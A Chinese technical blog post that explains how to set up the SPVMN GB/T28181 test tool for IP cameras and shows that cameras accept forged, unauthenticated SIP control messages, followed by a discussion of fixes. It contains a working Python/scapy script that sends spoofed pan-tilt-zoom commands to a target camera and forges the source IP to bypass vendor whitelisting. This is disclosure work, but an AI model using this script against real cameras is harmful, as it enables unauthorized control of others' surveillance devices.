一、说明

这几天都在做设备的协议分析,然后看到有个叫Spvmn的不懂要怎么操作才能触发其操作过程,问了测试部的同事说也没有测试文档,自己研究了一下这里做个记录。

按我现在理解,各厂商有自己的私有协议、ONVIF是世界标准协议、GB/T28181是国标;Onvif Test Tool是ONVIF协议实现的测试工具,而SPVMN是GB/T28181协议实现的测试工具。

二、环境搭建

IPC:首先需要一台支持GB/T28181(或者说有Spvmn配置)的IPC,这个是必然的。

Windows电脑:看spvmn里边的文档说只支持Windows,Linux没试过。

JDK1.5:我使用JDK1.8该问页面一直报错,换成1.5才能成功访问。下载地址点链接

报错:org.apache.jasper.JasperException: Unable to compile class for JSP

Spvmn工具下载地址:http://7dx.pc6.com/wwb5/SPVMN.zip

下载直接解压到自己想要的目录,该工具本质是一个tomcat,里边部署了一个用于测试的jsp应用。和正常tomcat一样到bin目录点击startup.bat启动即可。

不过要注意,该tomcat默认使用8080端口,然后又启了在5060开了一个监听,所以在启动前要注意确保本机的这两个端口没被占用。

tomcat启动完成后,访问后边的链接,如果一切正常页面应如下图:http://127.0.0.1:8080/SIPStandardDebug/

三、测试操作

3.1 配置IPC上线

使用Onvif Test Tool等工具,我们都是在Onvif Test Tool等工具输入IPC的用户名密码向IPC认证。但Spvmn反过来,是在IPC中输入Spvmn的“用户名密码”,IPC向Spvmn认证。

这认证逻辑存在问题,我们后边再说,这里主要是知道是这样子就可以了。

Spvmn的“用户名密码”,存放在"webapps\SIPStandardDebug\WEB-INF\classes\SSDConfig.properties"中,主要找到这两个节区的信息

找到这些信息后,打开IPC上的Spvmn配置页面,把这些信息复制填到Spvmn页面对应的框中,然后保存启动即可。(Sip服务器就是装Spvmn的那台电脑)

此时回到Spvmn页面,依次点调测辅助面---链路管理,如无意外在弹出页面中即可看到IPC成功上线。

3.2 测试操作

第一步,点击“调测设备类型”选好要进行调测的设备,我们这里是IPC

第二步,在下面的各种操作通过点击选中自己要测试的命令,比如我这里点“向左”

第三步,点选好命令后在左下窗格中即会呈现该命令将会发送的主体报文,点击“发送消息”按钮,该命令即会向IPC发出返回结果呈现在右下窗格中。

当然协议实现除了看有消息返回外,更主要的还是要看IPC是否真的执行了相应的动作。比如我们这里发了“向左”命令,IPC是否真的有向左旋转。

四、Spvmn有可能沦为后门

4.1 原因分析

使用wireshark拦截数据包观察交互过程如下图。

IPC向Spvmn发起注册(REGISTER)请求,Spvmn回复未认证(Unauthorized),IPC通过Digest形式提交用户名密码,Spvmn回复认证成功。而后就都是Spvmn向IPC发送各种命令操控IPC(MESSAGE)。

正如我们向服务器认证,后续请求都得带session向服务器表明身份而服务器什么都不需要带一样;ipc向spvmn认证,那么后续请求上都是ipc向spvmn携带认证信息,而spvmn不会向ipc携带认证信息。(实际看来只有在上线注册时ipc向spvmn带了用户名密码,之后双方就都没带会话信息)

既然不需要认证信息的话,那是不是说,只要IPC开启spvmn,我伪装成spvmn服务器向ipc发命令ipc都会执行。而经过实验发现事实也是如此,测试代码如下可自行使用自己环境进行测试。

from scapy.all import *

# 伪装成本地spvmn发包,这个其实没必要
local_ip = "10.10.6.91"
local_port = 5060
# 有些IPC限制只接收从spvmn页面配置的ip发来的命令,此时可以通过伪造IP绕过
cheat_ip = "10.10.6.92"
# 目标ipc ip和端口
# ipc_ip = "10.10.6.98"
ipc_ip = "10.20.23.150"
ipc_port = 5060
# 1--turn_left,2--zoom_out,3--zoom_out_use_scapy,4--stop
command_flag = 3 # 让IPC向左旋转命令
def turn_left():
# 建立发送socket,和正常UDP数据包没区别
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
# 其实不需要绑定端口
# send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: b73541b1e114a46ed90805e4da810973@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=86660128_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_18249986822757\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F01021F0000D6</PTZCmd>\r\n"""
"""</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 放大
def zoom_out():
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F0110000010D5</PTZCmd>\r\n"""
"""</Control>"""
) send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 使用scapy伪造源IP地址
def zoom_out_use_scapy():
message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F0110000010D5</PTZCmd>\r\n"""
"""</Control>"""
)
udp_packet = IP(src=cheat_ip, dst=ipc_ip) / UDP(dport=ipc_port) / message
send(udp_packet) # 让IPC停止所有动作命令
def stop():
send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
# 其实不需要绑定端口
# send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
"""Call-ID: 0b9ed3de1558c60bc7ec2efc0dbdb744@0.0.0.0\r\n"""
"""CSeq: 1 MESSAGE\r\n"""
"""From: <sip:34020000002000000001@34020000>;tag=87210045_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n"""
"""To: <sip:34020000001320000001@34020000>\r\n"""
"""Max-Forwards: 70\r\n"""
"""Content-Type: Application/MANSCDP+xml\r\n"""
"""Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n"""
"""Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
"""Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_20090787679737\r\n"""
"""Content-Length: 169\r\n"""
"""\r\n"""
"""<?xml version="1.0"?>\r\n"""
"""<Control>\r\n"""
"""<CmdType>DeviceControl</CmdType>\r\n"""
"""<SN>11</SN>\r\n"""
"""<DeviceID>34020000001320000001</DeviceID>\r\n"""
"""<PTZCmd>A50F0100000000B5</PTZCmd>\r\n"""
"""</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() if __name__ == "__main__":
if command_flag == 1:
turn_left()
elif command_flag == 2:
zoom_out()
elif command_flag == 3:
zoom_out_use_scapy()
else:
stop()

4.2 修复讨论

方法一:

我们能不能在IPC端设定,只处理来自自身配置好的Spvmn的ip发来的命令?

答案是不能完全解决。实际发现有些厂商就做了ip限制,但因为使用的是UDP协议,IP完全是可以伪造的。

方法二:

在4.1的代码的请求中我们可以看到有一些应该是spvmn服务器的一些信息,我们可不可以在IPC端通过提取这些信息与spvmn配置页面中的进行比对一致才进行处理?

这应该是可以解决spvmn伪造的问题,但还存在的问题就是倘若spvmn服务器信息泄漏,那么IPC也会被控制;或者说此时spvmn的用户名密码也扮演了IPC用户名密码的角色,这增大了IPC的攻击面。另外在spvmn功能就类似操作系统的telnetd和sshd,攻击者侵入web后配置好spvmn就得到了一个天然的后门程序。

方法三:

4.1中我们说spvmn把认证方向搞反了,其实如果spvmn使用的是tcp而不是udp不用调整认证方向也能达到和方案二一样的效果。因为如果使用tcp那就是ipc随便选一个端口与spvmn服务器进行连接,该端口是ESTABLISHED状态而不是LISTENING状态,你新建一个进程试图与该端口建立连接该端口是不予理会的;而倘若是udp没有建立连接过程只能是监听状态,伪造的数据它也无法区分。但如果使用这种方法进行修复就不符合协议标准了,只是提一下。

参考:

https://blog.csdn.net/hiwubihe/article/details/82910685

Spvmn测试环境搭建及其安全性讨论的更多相关文章

  1. gb28181的SPVMN测试环境搭建以及设备端和服务器的具体实现

    1.GB/T28181开发1之SPVMN(1.0.0.1)环境搭建 https://blog.csdn.net/hiwubihe/article/details/82910685 2.SPVMN 视频 ...

  2. https,https的本地测试环境搭建,asp.net结合https的代码实现,http网站转换成https网站之后遇到的问题

    一:什么是https SSL(Security   Socket   Layer)全称是加密套接字协议层,它位于HTTP协议层和TCP协议层之间,用于建立用户与服务器之间的加密通信,确保所传递信息的安 ...

  3. 【转】https,https的本地测试环境搭建,asp.net结合https的代码实现,http网站转换成https网站之后遇到的问题

    正需要这个,写的很好,就转过来了 转自: http://www.cnblogs.com/naniannayue/ 一:什么是https SSL(Security   Socket   Layer)全称 ...

  4. Linux测试环境搭建的学习建议

    随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起.这里介绍学习Linux测试环境搭建的一些建议. 一.Linux测试环境搭建从基 ...

  5. 总结Selenium自动化测试方法(二)测试环境搭建

    (接上期内容) 二.测试环境搭建 1.安装python 现在python3.0比python2.0多了一些改进的功能(详见http://zhidao.baidu.com/link?url=3sT1g7 ...

  6. 【转2】Appium 1.6.3 在Xcode 8 (真机)测试环境搭建 经验总结

    Appium 1.6.3 在Xcode 8 (真机)测试环境搭建经验总结 关于 Appium 1.6.3 在Xcode 8, 1真机上环境搭建问题更多,写此文章,供大家参考,让大家少走弯路. 在开始i ...

  7. 【转1】Appium 1.6.3 在Xcode 8, iOS 10.2(模拟器)测试环境搭建 经验总结

    Appium 1.6.3 在Xcode 8, iOS 10.2(模拟器)测试环境搭建 经验总结 关于 Appium 1.6.3 在Xcode 8, 10.2 的iOS模拟器上的问题很多,本人也差点放弃 ...

  8. Android测试环境搭建

    Android测试环境搭建 一.操作系统 使用Win7_64位操作系统.(可以用其他的系统,下面都是针对Win7 64位进行操作) 二.安装JDK 运行jdk-6u45-windows-x64.exe ...

  9. USDT(omniCore)测试环境搭建

    一.测试环境搭建. 注:由于window版本的omni出现同步不了的问题,推荐使用linux系统进行usdt测试链的搭建. 1.下载omnicore: wget https://bintray.com ...

随机推荐

  1. 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...

  2. 遗传算法(Genetic Algorithm, GA)及MATLAB实现

    遗传算法概述: • 遗传算法(Genetic Algorithm,GA)是一种进化算法,其基本原理是仿效生物界中的“物竞天择.适者生存”的演化法则,它最初由美国Michigan大学的J. Hollan ...

  3. 记使用expo与expoKit分离工程遇到的坑

    expoKit是支持expo平台的Objective-C和Java库,比纯RN一个个引入包开发效率会高一些,比如react-native-vector-icons包已经集成在expoKit中了. 假定 ...

  4. Truck Adblue Emulator For SCANIA

    For sale online Truck Adblue Emulator For SCANIA See the price Where to buy? Truck Adblue Emulator F ...

  5. 关于BDD100k数据输入处理mask变为56*56

    Mask_rcnn数据训练 Mask rcnn往里面送的是数据原图,可能没有把mask送里面,而且mask的数据 56*56,仿照coco——inspect_data重点考虑 Bounding box ...

  6. NBC朴素贝叶斯分类器 ————机器学习实战 python代码

    这里的p(y=1|x)计算基于朴素贝叶斯模型(周志华老师机器学习书上说的p(xi|y=1)=|Dc,xi|/|Dc|) 也可以基于文本分类的事件模型 见http://blog.csdn.net/app ...

  7. Bytom储蓄分红合约解析

    储蓄分红合约简介 储蓄分红合约指的是项目方发起了一个锁仓计划(即储蓄合约和取现合约),用户可以在准备期自由选择锁仓金额参与该计划,等到锁仓到期之后还可以自动获取锁仓的利润.用户可以在准备期内(dueB ...

  8. 殊途同归 - Church-Rosser and Consistency of Evaluation

        在"解释语言的语言"中提到,设计一个新的语言,仅仅是使用meta-language给出其描述是不够的,我们还需要去验证一些性质.     考虑一下我们在"解释语言 ...

  9. C#多线程和线程池

    1.概念  1.0 线程的和进程的关系以及优缺点 windows系统是一个多线程的操作系统.一个程序至少有一个进程,一个进程至少有一个线程.进程是线程的容器,一个C#客户端程序开始于一个单独的线程,C ...

  10. robotframework-ride支持python3

    最近发现robotframework的RIDE工具终于支持python3了,赶紧就安装了一下. 最新版本1.7.3.1基于wxPython4.0.4,此时的wxPython也是支持Python3.x的 ...